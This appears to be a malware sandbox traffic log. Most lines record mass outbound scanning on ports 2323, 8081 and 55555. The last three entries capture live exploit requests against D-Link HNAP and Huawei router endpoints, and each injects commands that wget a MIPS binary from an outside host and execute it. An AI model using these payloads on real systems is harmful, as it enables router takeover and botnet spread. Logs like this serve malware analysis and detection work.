Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 219.203.221.44:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 159.76.125.59:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 209.253.28.2:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 139.179.18.30:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 189.194.28.3:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 70.20.74.138:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 209.174.47.225:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 83.141.158.146:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:25024 -> 208.157.40.128:2323 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 136.215.180.230:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 78.2.229.230:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 83.33.254.85:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 32.45.186.44:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 187.75.71.236:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 124.77.72.27:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 88.205.186.202:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 220.1.252.180:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 46.19.26.209:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 53.33.183.76:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 17.216.16.171:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 94.187.146.244:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 77.123.36.34:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 103.51.38.20:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 98.44.87.156:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 210.26.141.79:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 89.254.153.22:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 137.16.200.4:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 75.103.155.142:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 23.59.68.138:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 219.213.136.98:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 43.86.250.130:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 86.17.192.187:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 39.7.112.99:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 187.121.168.123:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 120.83.106.138:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 49.206.167.87:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 64.184.231.120:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 91.81.51.179:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 203.95.242.153:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 182.198.213.185:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 50.138.77.112:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 151.60.44.238:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 40.199.49.155:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 38.193.1.39:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 218.212.161.241:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 20.200.152.61:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 129.147.189.128:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 178.167.230.63:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 72.240.151.160:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 197.134.81.12:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 144.150.209.142:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 212.22.160.195:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 155.114.43.237:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 104.84.12.78:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 145.26.59.154:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 223.163.242.193:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 223.183.191.45:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 153.91.37.192:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 129.169.2.84:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 75.87.178.226:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 166.207.212.206:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 196.204.55.6:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 205.197.168.203:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 182.3.106.7:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 169.152.52.23:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 119.243.164.89:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 148.128.249.14:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 137.106.91.236:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 5.206.163.164:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 200.249.60.68:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 131.165.43.77:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 91.243.196.203:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 148.247.242.214:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 216.168.103.142:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 101.180.73.185:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 53.33.127.56:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 191.13.27.36:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 76.13.108.74:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 119.165.162.94:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 139.166.120.85:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 188.67.67.80:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 31.16.255.110:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 145.82.177.184:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 125.0.139.59:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 140.74.205.78:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 73.177.61.100:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 90.15.114.51:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 139.228.227.227:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 32.124.93.184:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 170.37.252.68:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 4.231.59.137:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 204.88.131.64:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 120.35.107.11:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 136.247.49.40:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 154.41.22.54:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 35.75.246.40:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 24.147.197.27:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 203.52.252.79:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 51.57.183.219:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 168.177.62.66:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 165.31.46.227:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 42.212.110.123:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 52.91.192.116:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 20.109.154.100:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 131.143.189.240:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 107.190.55.189:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 116.81.180.214:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 160.213.36.250:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 66.128.74.162:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 105.189.204.78:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 162.204.137.107:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 18.232.241.171:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 46.14.73.44:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 182.74.212.93:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 205.199.118.114:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 17.216.37.248:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 139.94.142.124:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 191.183.209.25:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 91.49.21.93:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 168.189.101.65:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 122.44.171.36:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 120.142.167.20:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 69.244.163.145:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 220.161.244.238:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 43.214.97.107:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 20.23.70.167:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 180.194.98.240:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 59.82.229.36:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 45.118.7.111:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 156.200.86.185:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 161.77.107.216:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 203.46.69.114:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 97.82.224.46:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 85.60.205.77:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 175.9.170.55:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 128.169.231.228:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 131.202.223.66:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 204.11.125.90:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 80.77.39.140:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 8.36.180.57:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 156.3.196.169:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 101.185.18.206:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 5.61.245.92:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 144.96.207.87:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 150.195.163.125:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 219.36.60.171:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 174.176.10.42:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 213.105.183.226:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 106.135.66.250:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 37.178.166.118:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 126.247.12.112:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 49.1.175.79:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 116.28.83.214:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 182.57.42.105:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 114.97.49.231:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 130.214.34.193:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 183.236.150.218:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 54.157.192.195:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 1.82.191.119:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 79.103.46.137:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 166.103.207.32:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 42.30.47.109:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 216.102.214.7:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 5.117.211.182:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 154.10.153.241:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 96.223.26.250:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 103.188.212.99:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 118.161.34.243:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:27072 -> 162.131.123.160:8081 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 104.54.181.230:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 78.226.228.230:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 35.177.213.30:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 190.210.244.237:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 9.71.13.70:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 95.15.250.95:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 111.78.104.233:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 67.134.1.171:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 212.212.187.78:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 51.68.131.69:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 114.112.57.98:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 206.87.253.96:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 63.92.24.159:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 179.88.130.166:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 218.43.58.109:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 129.19.248.94:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 181.209.142.235:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 72.96.155.249:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 133.63.205.147:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 49.2.27.202:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 67.224.107.76:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 71.161.147.49:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 179.164.185.246:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 126.59.191.246:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 71.52.47.147:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 195.141.150.55:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 197.211.206.167:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 150.187.41.182:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 116.157.86.238:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 181.54.71.98:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 38.77.124.190:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 128.200.255.203:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 51.81.231.128:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 47.42.219.7:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 105.2.108.153:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 8.82.12.223:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 150.2.70.106:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 132.77.219.192:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 108.31.118.212:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 211.108.9.192:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 201.26.183.102:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 207.180.151.83:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 59.101.168.46:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 122.10.34.41:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 14.139.166.48:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 156.141.54.76:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 190.108.103.176:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 159.52.105.30:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 115.254.253.129:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 72.125.248.221:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 162.55.92.235:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 112.79.255.204:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:21952 -> 175.151.102.148:55555 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
